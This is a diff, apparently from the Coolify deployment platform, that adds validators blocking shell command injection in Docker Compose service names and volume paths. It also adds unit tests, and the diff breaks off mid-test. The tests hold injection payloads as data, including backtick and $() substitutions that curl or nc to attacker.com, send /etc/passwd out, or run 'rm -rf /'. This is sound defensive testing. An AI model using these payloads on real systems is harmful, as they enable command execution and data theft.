diff --git a/app/Http/Controllers/Api/ServicesController.php b/app/Http/Controllers/Api/ServicesController.php index 737724d22..0a571802b 100644 --- a/app/Http/Controllers/Api/ServicesController.php +++ b/app/Http/Controllers/Api/ServicesController.php @@ -328,9 +328,14 @@ public function create_service(Request $request) }); } if ($oneClickService) { + $dockerComposeRaw = base64_decode($oneClickService); + + // Validate for command injection BEFORE creating service + validateDockerComposeForInjection($dockerComposeRaw); + $service_payload = [ 'name' => "$oneClickServiceName-".str()->random(10), - 'docker_compose_raw' => base64_decode($oneClickService), + 'docker_compose_raw' => $dockerComposeRaw, 'environment_id' => $environment->id, 'service_type' => $oneClickServiceName, 'server_id' => $server->id, @@ -462,6 +467,9 @@ public function create_service(Request $request) $dockerCompose = base64_decode($request->docker_compose_raw); $dockerComposeRaw = Yaml::dump(Yaml::parse($dockerCompose), 10, 2, Yaml::DUMP_MULTI_LINE_LITERAL_BLOCK); + // Validate for command injection BEFORE saving to database + validateDockerComposeForInjection($dockerComposeRaw); + $connectToDockerNetwork = $request->connect_to_docker_network ?? false; $instantDeploy = $request->instant_deploy ?? false; @@ -777,6 +785,10 @@ public function update_by_uuid(Request $request) } $dockerCompose = base64_decode($request->docker_compose_raw); $dockerComposeRaw = Yaml::dump(Yaml::parse($dockerCompose), 10, 2, Yaml::DUMP_MULTI_LINE_LITERAL_BLOCK); + + // Validate for command injection BEFORE saving to database + validateDockerComposeForInjection($dockerComposeRaw); + $service->docker_compose_raw = $dockerComposeRaw; } diff --git a/app/Livewire/Project/New/DockerCompose.php b/app/Livewire/Project/New/DockerCompose.php index 5cda1dedd..a88a62d88 100644 --- a/app/Livewire/Project/New/DockerCompose.php +++ b/app/Livewire/Project/New/DockerCompose.php @@ -37,6 +37,10 @@ public function submit() 'dockerComposeRaw' => 'required', ]); $this->dockerComposeRaw = Yaml::dump(Yaml::parse($this->dockerComposeRaw), 10, 2, Yaml::DUMP_MULTI_LINE_LITERAL_BLOCK); + + // Validate for command injection BEFORE saving to database + validateDockerComposeForInjection($this->dockerComposeRaw); + $project = Project::where('uuid', $this->parameters['project_uuid'])->first(); $environment = $project->load(['environments'])->environments->where('uuid', $this->parameters['environment_uuid'])->first(); diff --git a/app/Livewire/Project/Service/StackForm.php b/app/Livewire/Project/Service/StackForm.php index 1961a7985..a0d2699ba 100644 --- a/app/Livewire/Project/Service/StackForm.php +++ b/app/Livewire/Project/Service/StackForm.php @@ -101,6 +101,10 @@ public function submit($notify = true) { try { $this->validate(); + + // Validate for command injection BEFORE saving to database + validateDockerComposeForInjection($this->service->docker_compose_raw); + $this->service->save(); $this->service->saveExtraFields($this->fields); $this->service->parse(); diff --git a/bootstrap/helpers/parsers.php b/bootstrap/helpers/parsers.php index 09d4c7549..0ff580366 100644 --- a/bootstrap/helpers/parsers.php +++ b/bootstrap/helpers/parsers.php @@ -16,6 +16,132 @@ use Symfony\Component\Yaml\Yaml; use Visus\Cuid2\Cuid2; +/** + * Validates a Docker Compose YAML string for command injection vulnerabilities. + * This should be called BEFORE saving to database to prevent malicious data from being stored. + * + * @param string $composeYaml The raw Docker Compose YAML content + * + * @throws \Exception If the compose file contains command injection attempts + */ +function validateDockerComposeForInjection(string $composeYaml): void +{ + try { + $parsed = Yaml::parse($composeYaml); + } catch (\Exception $e) { + throw new \Exception('Invalid YAML format: '.$e->getMessage()); + } + + if (! isset($parsed['services']) || ! is_array($parsed['services'])) { + throw new \Exception('Docker Compose file must contain a "services" section'); + } + + // Validate service names + foreach ($parsed['services'] as $serviceName => $serviceConfig) { + try { + validateShellSafePath($serviceName, 'service name'); + } catch (\Exception $e) { + throw new \Exception( + 'Invalid Docker Compose service name: '.$e->getMessage(). + ' Service names must not contain shell metacharacters.' + ); + } + + // Validate volumes in this service (both string and array formats) + if (isset($serviceConfig['volumes']) && is_array($serviceConfig['volumes'])) { + foreach ($serviceConfig['volumes'] as $volume) { + if (is_string($volume)) { + // String format: "source:target" or "source:target:mode" + validateVolumeStringForInjection($volume); + } elseif (is_array($volume)) { + // Array format: {type: bind, source: ..., target: ...} + if (isset($volume['source'])) { + $source = $volume['source']; + if (is_string($source)) { + $isSimpleEnvVar = preg_match('/^\$\{[a-zA-Z_][a-zA-Z0-9_]*\}$/', $source); + if (! $isSimpleEnvVar) { + try { + validateShellSafePath($source, 'volume source'); + } catch (\Exception $e) { + throw new \Exception( + 'Invalid Docker volume definition (array syntax): '.$e->getMessage(). + ' Please use safe path names without shell metacharacters.' + ); + } + } + } + } + if (isset($volume['target'])) { + $target = $volume['target']; + if (is_string($target)) { + try { + validateShellSafePath($target, 'volume target'); + } catch (\Exception $e) { + throw new \Exception( + 'Invalid Docker volume definition (array syntax): '.$e->getMessage(). + ' Please use safe path names without shell metacharacters.' + ); + } + } + } + } + } + } + } +} + +/** + * Validates a Docker volume string (format: "source:target" or "source:target:mode") + * + * @param string $volumeString The volume string to validate + * + * @throws \Exception If the volume string contains command injection attempts + */ +function validateVolumeStringForInjection(string $volumeString): void +{ + // Parse the volume string to extract source and target + $parts = explode(':', $volumeString); + if (count($parts) < 2) { + // Named volume without target - only validate the name + try { + validateShellSafePath($parts[0], 'volume name'); + } catch (\Exception $e) { + throw new \Exception( + 'Invalid Docker volume definition: '.$e->getMessage(). + ' Please use safe names without shell metacharacters.' + ); + } + + return; + } + + $source = $parts[0]; + $target = $parts[1]; + + // Validate source (but allow simple environment variables) + $isSimpleEnvVar = preg_match('/^\$\{[a-zA-Z_][a-zA-Z0-9_]*\}$/', $source); + if (! $isSimpleEnvVar) { + try { + validateShellSafePath($source, 'volume source'); + } catch (\Exception $e) { + throw new \Exception( + 'Invalid Docker volume definition: '.$e->getMessage(). + ' Please use safe path names without shell metacharacters.' + ); + } + } + + // Validate target + try { + validateShellSafePath($target, 'volume target'); + } catch (\Exception $e) { + throw new \Exception( + 'Invalid Docker volume definition: '.$e->getMessage(). + ' Please use safe path names without shell metacharacters.' + ); + } +} + function parseDockerVolumeString(string $volumeString): array { $volumeString = trim($volumeString); @@ -212,6 +338,46 @@ function parseDockerVolumeString(string $volumeString): array // Otherwise keep the variable as-is for later expansion (no default value) } + // Validate source path for command injection attempts + // We validate the final source value after environment variable processing + if ($source !== null) { + // Allow simple environment variables like ${VAR_NAME} or ${VAR} + // but validate everything else for shell metacharacters + $sourceStr = is_string($source) ? $source : $source; + + // Skip validation for simple environment variable references + // Pattern: ${WORD_CHARS} with no special characters inside + $isSimpleEnvVar = preg_match('/^\$\{[a-zA-Z_][a-zA-Z0-9_]*\}$/', $sourceStr); + + if (! $isSimpleEnvVar) { + try { + validateShellSafePath($sourceStr, 'volume source'); + } catch (\Exception $e) { + // Re-throw with more context about the volume string + throw new \Exception( + 'Invalid Docker volume definition: '.$e->getMessage(). + ' Please use safe path names without shell metacharacters.' + ); + } + } + } + + // Also validate target path + if ($target !== null) { + $targetStr = is_string($target) ? $target : $target; + // Target paths in containers are typically absolute paths, so we validate them too + // but they're less likely to be dangerous since they're not used in host commands + // Still, defense in depth is important + try { + validateShellSafePath($targetStr, 'volume target'); + } catch (\Exception $e) { + throw new \Exception( + 'Invalid Docker volume definition: '.$e->getMessage(). + ' Please use safe path names without shell metacharacters.' + ); + } + } + return [ 'source' => $source !== null ? str($source) : null, 'target' => $target !== null ? str($target) : null, @@ -265,6 +431,16 @@ function applicationParser(Application $resource, int $pull_request_id = 0, ?int $allMagicEnvironments = collect([]); foreach ($services as $serviceName => $service) { + // Validate service name for command injection + try { + validateShellSafePath($serviceName, 'service name'); + } catch (\Exception $e) { + throw new \Exception( + 'Invalid Docker Compose service name: '.$e->getMessage(). + ' Service names must not contain shell metacharacters.' + ); + } + $magicEnvironments = collect([]); $image = data_get_str($service, 'image'); $environment = collect(data_get($service, 'environment', [])); @@ -561,6 +737,33 @@ function applicationParser(Application $resource, int $pull_request_id = 0, ?int $content = data_get($volume, 'content'); $isDirectory = (bool) data_get($volume, 'isDirectory', null) || (bool) data_get($volume, 'is_directory', null); + // Validate source and target for command injection (array/long syntax) + if ($source !== null && ! empty($source->value())) { + $sourceValue = $source->value(); + // Allow simple environment variable references + $isSimpleEnvVar = preg_match('/^\$\{[a-zA-Z_][a-zA-Z0-9_]*\}$/', $sourceValue); + if (! $isSimpleEnvVar) { + try { + validateShellSafePath($sourceValue, 'volume source'); + } catch (\Exception $e) { + throw new \Exception( + 'Invalid Docker volume definition (array syntax): '.$e->getMessage(). + ' Please use safe path names without shell metacharacters.' + ); + } + } + } + if ($target !== null && ! empty($target->value())) { + try { + validateShellSafePath($target->value(), 'volume target'); + } catch (\Exception $e) { + throw new \Exception( + 'Invalid Docker volume definition (array syntax): '.$e->getMessage(). + ' Please use safe path names without shell metacharacters.' + ); + } + } + $foundConfig = $fileStorages->whereMountPath($target)->first(); if ($foundConfig) { $contentNotNull_temp = data_get($foundConfig, 'content'); @@ -1178,6 +1381,16 @@ function serviceParser(Service $resource): Collection $allMagicEnvironments = collect([]); // Presave services foreach ($services as $serviceName => $service) { + // Validate service name for command injection + try { + validateShellSafePath($serviceName, 'service name'); + } catch (\Exception $e) { + throw new \Exception( + 'Invalid Docker Compose service name: '.$e->getMessage(). + ' Service names must not contain shell metacharacters.' + ); + } + $image = data_get_str($service, 'image'); $isDatabase = isDatabaseImage($image, $service); if ($isDatabase) { @@ -1575,6 +1788,33 @@ function serviceParser(Service $resource): Collection $content = data_get($volume, 'content'); $isDirectory = (bool) data_get($volume, 'isDirectory', null) || (bool) data_get($volume, 'is_directory', null); + // Validate source and target for command injection (array/long syntax) + if ($source !== null && ! empty($source->value())) { + $sourceValue = $source->value(); + // Allow simple environment variable references + $isSimpleEnvVar = preg_match('/^\$\{[a-zA-Z_][a-zA-Z0-9_]*\}$/', $sourceValue); + if (! $isSimpleEnvVar) { + try { + validateShellSafePath($sourceValue, 'volume source'); + } catch (\Exception $e) { + throw new \Exception( + 'Invalid Docker volume definition (array syntax): '.$e->getMessage(). + ' Please use safe path names without shell metacharacters.' + ); + } + } + } + if ($target !== null && ! empty($target->value())) { + try { + validateShellSafePath($target->value(), 'volume target'); + } catch (\Exception $e) { + throw new \Exception( + 'Invalid Docker volume definition (array syntax): '.$e->getMessage(). + ' Please use safe path names without shell metacharacters.' + ); + } + } + $foundConfig = $fileStorages->whereMountPath($target)->first(); if ($foundConfig) { $contentNotNull_temp = data_get($foundConfig, 'content'); diff --git a/bootstrap/helpers/shared.php b/bootstrap/helpers/shared.php index 35ee54fcf..7a74c702f 100644 --- a/bootstrap/helpers/shared.php +++ b/bootstrap/helpers/shared.php @@ -104,6 +104,56 @@ function sanitize_string(?string $input = null): ?string return $sanitized; } +/** + * Validate that a path or identifier is safe for use in shell commands. + * + * This function prevents command injection by rejecting strings that contain + * shell metacharacters or command substitution patterns. + * + * @param string $input The path or identifier to validate + * @param string $context Descriptive name for error messages (e.g., 'volume source', 'service name') + * @return string The validated input (unchanged if valid) + * + * @throws \Exception If dangerous characters are detected + */ +function validateShellSafePath(string $input, string $context = 'path'): string +{ + // List of dangerous shell metacharacters that enable command injection + $dangerousChars = [ + '`' => 'backtick (command substitution)', + '$(' => 'command substitution', + '${' => 'variable substitution with potential command injection', + '|' => 'pipe operator', + '&' => 'background/AND operator', + ';' => 'command separator', + "\n" => 'newline (command separator)', + "\r" => 'carriage return', + '>' => 'output redirection', + '<' => 'input redirection', + ]; + + // Check for dangerous characters + foreach ($dangerousChars as $char => $description) { + if (str_contains($input, $char)) { + throw new \Exception( + "Invalid {$context}: contains forbidden character '{$char}' ({$description}). ". + 'Shell metacharacters are not allowed for security reasons.' + ); + } + } + + // Additional pattern-based checks for complex attack vectors + // Check for command substitution patterns: $(command) or `command` + if (preg_match('/\$\(|\$\{|`/', $input)) { + throw new \Exception( + "Invalid {$context}: command substitution patterns detected. ". + 'This is not allowed for security reasons.' + ); + } + + return $input; +} + function generate_readme_file(string $name, string $updated_at): string { $name = sanitize_string($name); diff --git a/tests/Unit/PreSaveValidationTest.php b/tests/Unit/PreSaveValidationTest.php new file mode 100644 index 000000000..c24cf5f89 --- /dev/null +++ b/tests/Unit/PreSaveValidationTest.php @@ -0,0 +1,200 @@ + validateDockerComposeForInjection($maliciousCompose)) + ->toThrow(Exception::class, 'Invalid Docker Compose service name'); +}); + +test('validateDockerComposeForInjection blocks malicious volume paths in string format', function () { + $maliciousCompose = <<<'YAML' +services: + web: + image: nginx:latest + volumes: + - '/tmp/pwn`curl attacker.com`:/app' +YAML; + + expect(fn () => validateDockerComposeForInjection($maliciousCompose)) + ->toThrow(Exception::class, 'Invalid Docker volume definition'); +}); + +test('validateDockerComposeForInjection blocks malicious volume paths in array format', function () { + $maliciousCompose = <<<'YAML' +services: + web: + image: nginx:latest + volumes: + - type: bind + source: '/tmp/pwn`curl attacker.com`' + target: /app +YAML; + + expect(fn () => validateDockerComposeForInjection($maliciousCompose)) + ->toThrow(Exception::class, 'Invalid Docker volume definition'); +}); + +test('validateDockerComposeForInjection blocks command substitution in volumes', function () { + $maliciousCompose = <<<'YAML' +services: + web: + image: nginx:latest + volumes: + - '$(cat /etc/passwd):/app' +YAML; + + expect(fn () => validateDockerComposeForInjection($maliciousCompose)) + ->toThrow(Exception::class, 'Invalid Docker volume definition'); +}); + +test('validateDockerComposeForInjection blocks pipes in service names', function () { + $maliciousCompose = <<<'YAML' +services: + web|cat /etc/passwd: + image: nginx:latest +YAML; + + expect(fn () => validateDockerComposeForInjection($maliciousCompose)) + ->toThrow(Exception::class, 'Invalid Docker Compose service name'); +}); + +test('validateDockerComposeForInjection blocks semicolons in volumes', function () { + $maliciousCompose = <<<'YAML' +services: + web: + image: nginx:latest + volumes: + - '/tmp/test; rm -rf /:/app' +YAML; + + expect(fn () => validateDockerComposeForInjection($maliciousCompose)) + ->toThrow(Exception::class, 'Invalid Docker volume definition'); +}); + +test('validateDockerComposeForInjection allows legitimate compose files', function () { + $validCompose = <<<'YAML' +services: + web: + image: nginx:latest + volumes: + - /var/www/html:/usr/share/nginx/html + - app-data:/data + db: + image: postgres:15 + volumes: + - db-data:/var/lib/postgresql/data +volumes: + app-data: + db-data: +YAML; + + expect(fn () => validateDockerComposeForInjection($validCompose)) + ->not->toThrow(Exception::class); +}); + +test('validateDockerComposeForInjection allows environment variables in volumes', function () { + $validCompose = <<<'YAML' +services: + web: + image: nginx:latest + volumes: + - '${DATA_PATH}:/app' +YAML; + + expect(fn () => validateDockerComposeForInjection($validCompose)) + ->not->toThrow(Exception::class); +}); + +test('validateDockerComposeForInjection blocks malicious env var defaults', function () { + $maliciousCompose = <<<'YAML' +services: + web: + image: nginx:latest + volumes: + - '${DATA:-$(cat /etc/passwd)}:/app' +YAML; + + expect(fn () => validateDockerComposeForInjection($maliciousCompose)) + ->toThrow(Exception::class, 'Invalid Docker volume definition'); +}); + +test('validateDockerComposeForInjection requires services section', function () { + $invalidCompose = <<<'YAML' +version: '3' +networks: + mynet: +YAML; + + expect(fn () => validateDockerComposeForInjection($invalidCompose)) + ->toThrow(Exception::class, 'Docker Compose file must contain a "services" section'); +}); + +test('validateDockerComposeForInjection handles empty volumes array', function () { + $validCompose = <<<'YAML' +services: + web: + image: nginx:latest + volumes: [] +YAML; + + expect(fn () => validateDockerComposeForInjection($validCompose)) + ->not->toThrow(Exception::class); +}); + +test('validateDockerComposeForInjection blocks newlines in volume paths', function () { + $maliciousCompose = "services:\n web:\n image: nginx:latest\n volumes:\n - \"/tmp/test\ncurl attacker.com:/app\""; + + // YAML parser will reject this before our validation (which is good!) + expect(fn () => validateDockerComposeForInjection($maliciousCompose)) + ->toThrow(Exception::class); +}); + +test('validateDockerComposeForInjection blocks redirections in volumes', function () { + $maliciousCompose = <<<'YAML' +services: + web: + image: nginx:latest + volumes: + - '/tmp/test > /etc/passwd:/app' +YAML; + + expect(fn () => validateDockerComposeForInjection($maliciousCompose)) + ->toThrow(Exception::class, 'Invalid Docker volume definition'); +}); + +test('validateDockerComposeForInjection validates volume targets', function () { + $maliciousCompose = <<<'YAML' +services: + web: + image: nginx:latest + volumes: + - '/tmp/safe:/app`curl attacker.com`' +YAML; + + expect(fn () => validateDockerComposeForInjection($maliciousCompose)) + ->toThrow(Exception::class, 'Invalid Docker volume definition'); +}); + +test('validateDockerComposeForInjection handles multiple services', function () { + $validCompose = <<<'YAML' +services: + web: + image: nginx:latest + volumes: + - /var/www:/usr/share/nginx/html + api: + image: node:18 + volumes: + - /app/src:/usr/src/app + db: + image: postgres:15 +YAML; + + expect(fn () => validateDockerComposeForInjection($validCompose)) + ->not->toThrow(Exception::class); +}); diff --git a/tests/Unit/ServiceNameSecurityTest.php b/tests/Unit/ServiceNameSecurityTest.php new file mode 100644 index 000000000..56fcc51f5 --- /dev/null +++ b/tests/Unit/ServiceNameSecurityTest.php @@ -0,0 +1,242 @@ + validateShellSafePath($serviceName, 'service name')) + ->toThrow(Exception::class, 'backtick'); +}); + +test('service names with command substitution are rejected', function () { + $maliciousCompose = <<<'YAML' +services: + 'evil$(cat /etc/passwd)': + image: alpine +YAML; + + $parsed = Yaml::parse($maliciousCompose); + $serviceName = array_key_first($parsed['services']); + + expect(fn () => validateShellSafePath($serviceName, 'service name')) + ->toThrow(Exception::class, 'command substitution'); +}); + +test('service names with pipe injection are rejected', function () { + $maliciousCompose = <<<'YAML' +services: + 'web | nc attacker.com 1234': + image: nginx +YAML; + + $parsed = Yaml::parse($maliciousCompose); + $serviceName = array_key_first($parsed['services']); + + expect(fn () => validateShellSafePath($serviceName, 'service name')) + ->toThrow(Exception::class, 'pipe'); +}); + +test('service names with semicolon injection are rejected', function () { + $maliciousCompose = <<<'YAML' +services: + 'web; curl attacker.com': + image: nginx +YAML; + + $parsed = Yaml::parse($maliciousCompose); + $serviceName = array_key_first($parsed['services']); + + expect(fn () => validateShellSafePath($serviceName, 'service name')) + ->toThrow(Exception::class, 'separator'); +}); + +test('service names with ampersand injection are rejected', function () { + $maliciousComposes = [ + "services:\n 'web & curl attacker.com':\n image: nginx", + "services:\n 'web && curl attacker.com':\n image: nginx", + ]; + + foreach ($maliciousComposes as $compose) { + $parsed = Yaml::parse($compose); + $serviceName = array_key_first($parsed['services']); + + expect(fn () => validateShellSafePath($serviceName, 'service name')) + ->toThrow(Exception::class, 'operator'); + } +}); + +test('service names with redirection are rejected', function () { + $maliciousComposes = [ + "services:\n 'web > /dev/null':\n image: nginx", + "services:\n 'web < input.txt':\n image: nginx", + ]; + + foreach ($maliciousComposes as $compose) { + $parsed = Yaml::parse($compose); + $serviceName = array_key_first($parsed['services']); + + expect(fn () => validateShellSafePath($serviceName, 'service name')) + ->toThrow(Exception::class); + } +}); + +test('legitimate service names are accepted', function () { + $legitCompose = <<<'YAML' +services: + web: + image: nginx + api: + image: node:20 + database: + image: postgres:15 + redis-cache: + image: redis:7 + app_server: + image: python:3.11 + my-service.com: + image: alpine +YAML; + + $parsed = Yaml::parse($legitCompose); + + foreach ($parsed['services'] as $serviceName => $service) { + expect(fn () => validateShellSafePath($serviceName, 'service name')) + ->not->toThrow(Exception::class); + } +}); + +test('service names used in docker network connect command', function () { + // This demonstrates the actual vulnerability from StartService.php:41 + $maliciousServiceName = 'evil`curl attacker.com`'; + $uuid = 'test-uuid-123'; + $network = 'coolify'; + + // Without validation, this would create a dangerous command + $dangerousCommand = "docker network connect --alias {$maliciousServiceName}-{$uuid} $network {$maliciousServiceName}-{$uuid}"; + + expect($dangerousCommand)->toContain('`curl attacker.com`'); + + // With validation, the service name should be rejected + expect(fn () => validateShellSafePath($maliciousServiceName, 'service name')) + ->toThrow(Exception::class); +}); + +test('service name from the vulnerability report example', function () { + // The example could also target service names + $maliciousCompose = <<<'YAML' +services: + 'coolify`curl https://attacker.com -X POST --data "$(cat /etc/passwd)"`': + image: alpine +YAML; + + $parsed = Yaml::parse($maliciousCompose); + $serviceName = array_key_first($parsed['services']); + + expect(fn () => validateShellSafePath($serviceName, 'service name')) + ->toThrow(Exception::class); +}); + +test('service names with newline injection are rejected', function () { + $maliciousServiceName = "web\ncurl attacker.com"; + + expect(fn () => validateShellSafePath($maliciousServiceName, 'service name')) + ->toThrow(Exception::class, 'newline'); +}); + +test('service names with variable substitution patterns are rejected', function () { + $maliciousNames = [ + 'web${PATH}', + 'app${USER}', + 'db${PWD}', + ]; + + foreach ($maliciousNames as $name) { + expect(fn () => validateShellSafePath($name, 'service name')) + ->toThrow(Exception::class); + } +}); + +test('service names provide helpful error messages', function () { + $maliciousServiceName = 'evil`command`'; + + try { + validateShellSafePath($maliciousServiceName, 'service name'); + expect(false)->toBeTrue('Should have thrown exception'); + } catch (Exception $e) { + expect($e->getMessage())->toContain('service name'); + expect($e->getMessage())->toContain('backtick'); + } +}); + +test('multiple malicious services in one compose file', function () { + $maliciousCompose = <<<'YAML' +services: + 'web`whoami`': + image: nginx + 'api$(cat /etc/passwd)': + image: node + database: + image: postgres + 'cache; curl attacker.com': + image: redis +YAML; + + $parsed = Yaml::parse($maliciousCompose); + $serviceNames = array_keys($parsed['services']); + + // First and second service names should fail + expect(fn () => validateShellSafePath($serviceNames[0], 'service name')) + ->toThrow(Exception::class); + + expect(fn () => validateShellSafePath($serviceNames[1], 'service name')) + ->toThrow(Exception::class); + + // Third service name should pass (legitimate) + expect(fn () => validateShellSafePath($serviceNames[2], 'service name')) + ->not->toThrow(Exception::class); + + // Fourth service name should fail + expect(fn () => validateShellSafePath($serviceNames[3], 'service name')) + ->toThrow(Exception::class); +}); + +test('service names with spaces are allowed', function () { + // Spaces themselves are not dangerous - shell escaping handles them + // Docker Compose might not allow spaces in service names anyway, but we shouldn't reject them + $serviceName = 'my service'; + + expect(fn () => validateShellSafePath($serviceName, 'service name')) + ->not->toThrow(Exception::class); +}); + +test('common Docker Compose service naming patterns are allowed', function () { + $commonNames = [ + 'web', + 'api', + 'database', + 'redis', + 'postgres', + 'mysql', + 'mongodb', + 'app-server', + 'web_frontend', + 'api.backend', + 'db-01', + 'worker_1', + 'service123', + ]; + + foreach ($commonNames as $name) { + expect(fn () => validateShellSafePath($name, 'service name')) + ->not->toThrow(Exception::class); + } +}); diff --git a/tests/Unit/ValidateShellSafePathTest.php b/tests/Unit/ValidateShellSafePathTest.php new file mode 100644 index 000000000..bc6d2a60d --- /dev/null +++ b/tests/Unit/ValidateShellSafePathTest.php @@ -0,0 +1,143 @@ + validateShellSafePath($path, 'test'))->not->toThrow(Exception::class); + } +}); + +test('blocks backtick command substitution', function () { + $path = '/tmp/pwn`curl attacker.com`'; + + expect(fn () => validateShellSafePath($path, 'test')) + ->toThrow(Exception::class, 'backtick'); +}); + +test('blocks dollar-paren command substitution', function () { + $path = '/tmp/pwn$(cat /etc/passwd)'; + + expect(fn () => validateShellSafePath($path, 'test')) + ->toThrow(Exception::class, 'command substitution'); +}); + +test('blocks pipe operators', function () { + $path = '/tmp/file | nc attacker.com 1234'; + + expect(fn () => validateShellSafePath($path, 'test')) + ->toThrow(Exception::class, 'pipe'); +}); + +test('blocks semicolon command separator', function () { + $path = '/tmp/file; curl attacker.com'; + + expect(fn () => validateShellSafePath($path, 'test')) + ->toThrow(Exception::class, 'separator'); +}); + +test('blocks ampersand operators', function () { + $paths = [ + '/tmp/file & curl attacker.com', + '/tmp/file && curl attacker.com', + ]; + + foreach ($paths as $path) { + expect(fn () => validateShellSafePath($path, 'test')) + ->toThrow(Exception::class, 'operator'); + } +}); + +test('blocks redirection operators', function () { + $paths = [ + '/tmp/file > /dev/null', + '/tmp/file < input.txt', + '/tmp/file >> output.log', + ]; + + foreach ($paths as $path) { + expect(fn () => validateShellSafePath($path, 'test')) + ->toThrow(Exception::class); + } +}); + +test('blocks newline command separator', function () { + $path = "/tmp/file\ncurl attacker.com"; + + expect(fn () => validateShellSafePath($path, 'test')) + ->toThrow(Exception::class, 'newline'); +}); + +test('blocks complex command injection with the example from issue', function () { + $path = '/tmp/pwn`curl https://attacker.com -X POST --data "$(cat /etc/passwd)"`'; + + expect(fn () => validateShellSafePath($path, 'volume source')) + ->toThrow(Exception::class); +}); + +test('blocks nested command substitution', function () { + $path = '/tmp/$(echo $(whoami))'; + + expect(fn () => validateShellSafePath($path, 'test')) + ->toThrow(Exception::class, 'command substitution'); +}); + +test('blocks variable substitution patterns', function () { + $paths = [ + '/tmp/${PWD}', + '/tmp/${PATH}', + 'data/${USER}', + ]; + + foreach ($paths as $path) { + expect(fn () => validateShellSafePath($path, 'test')) + ->toThrow(Exception::class); + } +}); + +test('provides context-specific error messages', function () { + $path = '/tmp/evil`command`'; + + try { + validateShellSafePath($path, 'volume source'); + expect(false)->toBeTrue('Should have thrown exception'); + } catch (Exception $e) { + expect($e->getMessage())->toContain('volume source'); + } + + try { + validateShellSafePath($path, 'service name'); + expect(false)->toBeTrue('Should have thrown exception'); + } catch (Exception $e) { + expect($e->getMessage())->toContain('service name'); + } +}); + +test('handles empty strings safely', function () { + expect(fn () => validateShellSafePath('', 'test'))->not->toThrow(Exception::class); +}); + +test('allows paths with spaces', function () { + // Spaces themselves are not dangerous in properly quoted shell commands + // The escaping should be handled elsewhere (e.g., escapeshellarg) + $path = '/path/with spaces/file'; + + expect(fn () => validateShellSafePath($path, 'test'))->not->toThrow(Exception::class); +}); + +test('blocks multiple attack vectors in one path', function () { + $path = '/tmp/evil`curl attacker.com`; rm -rf /; echo "pwned" > /tmp/hacked'; + + expect(fn () => validateShellSafePath($path, 'test')) + ->toThrow(Exception::class); +}); diff --git a/tests/Unit/VolumeArrayFormatSecurityTest.php b/tests/Unit/VolumeArrayFormatSecurityTest.php new file mode 100644 index 000000000..f52c9bd11 --- /dev/null +++ b/tests/Unit/VolumeArrayFormatSecurityTest.php @@ -0,0 +1,247 @@ +toBeArray(); + expect($volumes[0])->toHaveKey('type'); + expect($volumes[0])->toHaveKey('source'); + expect($volumes[0])->toHaveKey('target'); +}); + +test('malicious array-format volume with backtick injection', function () { + $dockerComposeYaml = <<<'YAML' +services: + evil: + image: alpine + volumes: + - type: bind + source: '/tmp/pwn`curl attacker.com`' + target: /app +YAML; + + $parsed = Yaml::parse($dockerComposeYaml); + $volumes = $parsed['services']['evil']['volumes']; + + // The malicious volume is now an array + expect($volumes[0])->toBeArray(); + expect($volumes[0]['source'])->toContain('`'); + + // When applicationParser or serviceParser processes this, + // it should throw an exception due to our validation + $source = $volumes[0]['source']; + expect(fn () => validateShellSafePath($source, 'volume source')) + ->toThrow(Exception::class, 'backtick'); +}); + +test('malicious array-format volume with command substitution', function () { + $dockerComposeYaml = <<<'YAML' +services: + evil: + image: alpine + volumes: + - type: bind + source: '/tmp/pwn$(cat /etc/passwd)' + target: /app +YAML; + + $parsed = Yaml::parse($dockerComposeYaml); + $source = $parsed['services']['evil']['volumes'][0]['source']; + + expect(fn () => validateShellSafePath($source, 'volume source')) + ->toThrow(Exception::class, 'command substitution'); +}); + +test('malicious array-format volume with pipe injection', function () { + $dockerComposeYaml = <<<'YAML' +services: + evil: + image: alpine + volumes: + - type: bind + source: '/tmp/file | nc attacker.com 1234' + target: /app +YAML; + + $parsed = Yaml::parse($dockerComposeYaml); + $source = $parsed['services']['evil']['volumes'][0]['source']; + + expect(fn () => validateShellSafePath($source, 'volume source')) + ->toThrow(Exception::class, 'pipe'); +}); + +test('malicious array-format volume with semicolon injection', function () { + $dockerComposeYaml = <<<'YAML' +services: + evil: + image: alpine + volumes: + - type: bind + source: '/tmp/file; curl attacker.com' + target: /app +YAML; + + $parsed = Yaml::parse($dockerComposeYaml); + $source = $parsed['services']['evil']['volumes'][0]['source']; + + expect(fn () => validateShellSafePath($source, 'volume source')) + ->toThrow(Exception::class, 'separator'); +}); + +test('exact example from security report in array format', function () { + $dockerComposeYaml = <<<'YAML' +services: + coolify: + image: alpine + volumes: + - type: bind + source: '/tmp/pwn`curl https://attacker.com -X POST --data "$(cat /etc/passwd)"`' + target: /app +YAML; + + $parsed = Yaml::parse($dockerComposeYaml); + $source = $parsed['services']['coolify']['volumes'][0]['source']; + + // This should be caught by validation + expect(fn () => validateShellSafePath($source, 'volume source')) + ->toThrow(Exception::class); +}); + +test('legitimate array-format volumes are allowed', function () { + $dockerComposeYaml = <<<'YAML' +services: + web: + image: nginx + volumes: + - type: bind + source: ./data + target: /app/data + - type: bind + source: /var/lib/data + target: /data + - type: volume + source: my-volume + target: /app/volume +YAML; + + $parsed = Yaml::parse($dockerComposeYaml); + $volumes = $parsed['services']['web']['volumes']; + + // All these legitimate volumes should pass validation + foreach ($volumes as $volume) { + $source = $volume['source']; + expect(fn () => validateShellSafePath($source, 'volume source')) + ->not->toThrow(Exception::class); + } +}); + +test('array-format with environment variables', function () { + $dockerComposeYaml = <<<'YAML' +services: + web: + image: nginx + volumes: + - type: bind + source: ${DATA_PATH} + target: /app/data +YAML; + + $parsed = Yaml::parse($dockerComposeYaml); + $source = $parsed['services']['web']['volumes'][0]['source']; + + // Simple environment variables should be allowed + expect($source)->toBe('${DATA_PATH}'); + // Our validation allows simple env var references + $isSimpleEnvVar = preg_match('/^\$\{[a-zA-Z_][a-zA-Z0-9_]*\}$/', $source); + expect($isSimpleEnvVar)->toBeTrue(); +}); + +test('array-format with malicious environment variable default', function () { + $dockerComposeYaml = <<<'YAML' +services: + evil: + image: alpine + volumes: + - type: bind + source: '${VAR:-/tmp/evil`whoami`}' + target: /app +YAML; + + $parsed = Yaml::parse($dockerComposeYaml); + $source = $parsed['services']['evil']['volumes'][0]['source']; + + // This contains backticks and should fail validation + expect(fn () => validateShellSafePath($source, 'volume source')) + ->toThrow(Exception::class); +}); + +test('mixed string and array format volumes in same compose', function () { + $dockerComposeYaml = <<<'YAML' +services: + web: + image: nginx + volumes: + - './safe/data:/app/data' + - type: bind + source: ./another/safe/path + target: /app/other + - '/tmp/evil`whoami`:/app/evil' + - type: 